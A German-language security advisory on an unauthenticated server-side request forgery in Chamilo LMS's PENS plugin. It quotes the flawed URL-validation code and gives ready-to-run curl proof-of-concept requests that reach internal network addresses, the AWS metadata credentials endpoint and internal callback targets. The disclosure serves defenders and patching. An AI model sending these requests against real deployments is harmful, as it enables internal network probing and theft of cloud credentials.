
Nicht authentifizierte SSRF in Chamilo LMS über das PENS-Plugin (pens.php) — CVSS 7.5
Schweregrad: Hoch (CVSS 7.5)
CWE: CWE-918 (Server-Side Request Forgery)
Betroffen: chamilo/chamilo-lms 2.x (Commit af6b7002 und früher)
Advisory: GHSA-g2xj-4cch-j276
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34160
Der PENS-Plugin-Endpunkt (Package Exchange Notification Services) public/plugin/Pens/pens.php ist ohne Authentifizierung erreichbar und akzeptiert benutzerkontrollierte URLs sowohl für den Paket-Download als auch für Callback-Benachrichtigungen. Die URL-Validierungsfunktionen prüfen Schema und Vorhandensein eines Hosts, führen jedoch keine Filterung privater IP-Adressen durch, was eine nicht authentifizierte SSRF in interne Netzwerke und Cloud-Metadaten-Dienste ermöglicht.
Nachdem ich CVE-2026-33715 in Chamilos install.ajax.php gefunden hatte, prüfte ich die Codebasis weiter auf andere nicht authentifizierte Endpunkte mit netzwerkbezogenen Auswirkungen. Das PENS-Plugin (public/plugin/Pens/) stach hervor: PENS ist ein veraltetes E-Learning-Inhaltsbereitstellungsprotokoll, bei dem Pakete von externen URLs abgerufen und Callbacks an externe Server gesendet werden — beides klassische SSRF-Oberflächen.
Ich las PensProcessor.php auf der Suche nach der URL-Validierungslogik. isAllowedDownloadUrl() und isAllowedCallbackUrl() prüfen beide das Schema (http/https) und einen nicht leeren Host — und hören dort auf. Keine RFC-1918-Filterung, keine Loopback-Prüfung, keine Link-Local-Prüfung. Der Kommentar sagt sogar „returns true" nach der Host-Prüfung, was deutlich machte, dass dies ohne SSRF-Bewusstsein geschrieben wurde.
Was dies von der vorherigen Chamilo-CVE unterscheidet: Es gibt zwei unabhängige SSRF-Vektoren — einen für den Paket-Abruf (der Server zieht eine Datei von einer angreiferkontrollierten URL) und einen für die Callbacks (der Server sendet POST an angreiferkontrollierte Endpunkte). Der Callback-Vektor ist besonders nützlich für die Exfiltration von Antworten interner Dienste, da der Server die PENS-Statusdaten an jede von Ihnen angegebene URL per POST sendet und Sie die Antwortanalyse kontrollieren.
Bei Cloud-Bereitstellungen ist der Metadaten-Endpunkt 169.254.169.254 über beide Vektoren erreichbar.
Datei: public/plugin/Pens/lib/PensProcessor.php
Zwei unterschiedliche SSRF-Vektoren:
Vektor 1 — Paket-URL-Abruf (Zeilen 376, 138):
private function isAllowedDownloadUrl(string $url): bool
{
$parts = parse_url($url);
$scheme = strtolower((string) ($parts['scheme'] ?? ''));
if (!in_array($scheme, ['http', 'https'], true)) { return false; }
$host = strtolower((string) ($parts['host'] ?? ''));
if ('' === $host) { return false; }
return true; // ← keine Prüfung auf private IPs
}
// Dann mit curl abgerufen:
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
$result = curl_exec($curlHandle);
Vektor 2 — Callback-SSRF (Zeile 318): Die Parameter receipt und alerts geben URLs an, an die der Server POST-Callbacks sendet — gleiche fehlende Validierung.
isAllowedDownloadUrl() und isAllowedCallbackUrl() validieren nur, dass die URL ein http/https-Schema und einen nicht leeren Host hat. RFC-1918-Privatbereiche (10.x, 172.16.x, 192.168.x), Loopback (127.x), Link-Local (169.254.x — Cloud-Metadaten) und IPv6-Äquivalente werden alle akzeptiert.
# Vektor 1: Internes Netzwerk über Paket-URL auskundschaften
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://192.168.1.1:80/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test-123" \
-d "client=test" \
-d "system-user=test"
# AWS-Metadaten-Endpunkt
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
# Vektor 2: Callback-SSRF — Server sendet POST an angreiferkontrollierten internen Endpunkt
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://example.com/legit.zip" \
-d "receipt=http://10.0.0.50:8080/internal-endpoint" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
169.254.169.254Hinweis: Dies unterscheidet sich von CVE-2022-27426 (SSRF in Social-/Links-Tools) — anderer Codepfad, anderes Plugin, nicht authentifiziert.